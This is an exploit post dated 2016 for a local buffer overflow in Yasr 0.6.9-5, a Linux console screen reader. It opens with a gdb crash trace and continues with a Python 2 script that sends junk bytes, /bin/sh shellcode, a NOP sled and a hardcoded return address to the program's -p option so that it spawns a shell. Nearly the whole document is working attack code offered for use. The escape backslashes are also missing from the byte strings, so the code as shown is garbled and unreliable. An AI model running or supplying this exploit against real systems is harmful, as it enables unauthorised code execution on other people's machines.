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Yasr 0.6.9-5 Buffer Overflow

Posted on 26 April 2016

# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: General-purpose console screen reader
# Version: 0.6.9-5
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Yasr is a general-purpose console screen reader
for GNU/Linux and other Unix-like operating systems.
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
# Website: http://yasr.sourceforge.net/
#
#
# Starting program: /usr/bin/yasr -p $(python -c 'print "x90"*258')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x90909090 in ?? ()
#
#gdb$ backtrace
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7e34a23 in __GI_abort () at abort.c:89
#3 0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated
") at
../sysdeps/posix/libc_fatal.c:175
#4 0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
"buffer overflow detected") at fortify_fail.c:31
#5 0xb7effc3a in __GI___chk_fail () at chk_fail.c:28

import os, subprocess

def run():
try:
print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
print "# This exploit is for educational purposes only"
# JUNK + SHELLCODE + NOPS + EIP

junk = "x41"*298
shellcode =
"x31xc0x50x68//shx68/binx89xe3x50x53x89xe1x99xb0x0bxcdx80"
nops = "x90"*12
eip = "xd2xf3xffxbf"
subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, Yasr Console Reader - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
print "Author: Juan Sacco"
except IndexError:
howtousage()
run()

 

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